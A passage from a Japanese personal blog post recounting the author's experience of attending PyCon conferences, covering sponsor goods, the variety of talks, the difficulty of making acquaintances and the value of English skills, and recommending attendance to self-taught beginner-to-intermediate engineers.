シールだけじゃなく、ノートやマグカップ、エコバッグなど各種ロゴ入りのグッズがもらえたりします。
我が家でも、エコバッグとしてPyCon KoreaとMicrosoftの袋が活躍していますし、夏場はGoogleやPyConのTシャツを普段着にしています。

なんだか、強くなった気分。

### 発表は多様なので、何かしら気になるものはある

カンファレンスというと、ガチガチの言語仕様とかの話ばかりかと身構えてしまう人もいると思いますが、実際に参加してみるといろいろな発表があります。

新しいライブラリーの紹介や現場での事例共有、Tipsなどもあるので何かしら自分に合ったセッションはあります。

## 気をつけること

こんなメリットだらけの、PyConだけど注意点というか、
期待しすぎるとズレることもあるので、ここからはその点について。

### 意外と知り合いはできない

これは私のコミュ力不足とエンジニアとしての能力不足が原因だと思っています。
エンジニアとしての能力があれば、登壇したり登壇者に質問など話しかけることができます。昨年は、自分でもなんとか話せることがあったのでアフターパーティーで登壇者とお話しすることがで来ました。
今年は誰にも話しかけられずでした。アフターパーティーは盛り上がっているので、そこに入れないのは悲しい。

コミュ力かエンジニアリング能力、もしくは折れない心があると良いと思います。

### 英語力があるといい

PyConAPACが初参加だったので、英語の発表多いな〜と思っていましたが、PyConJPでも半分くらいは英語での発表です。たまに、発表言語は英語だけどスライドは日本語なので見ていればなんとなく分かることもあります。
英語が話せたり、理解できると倍楽しめると思います。
スポンサーブースにも英語話者の方がいたりするので、英語できるといいです。

## まとめ

独学だったり、何か行き詰まっている(技術的なブレイクスルー、刺激がない)と感じている人は是非PyConに参加して頂きたいです。

損をすることはないと思います。
気分転換でも参加してみると面白いとも思います。

PyConのスタッフとかではないですが、独学や行き詰まっている初学者から中級者くらいの皆さんの参考になれば幸いです。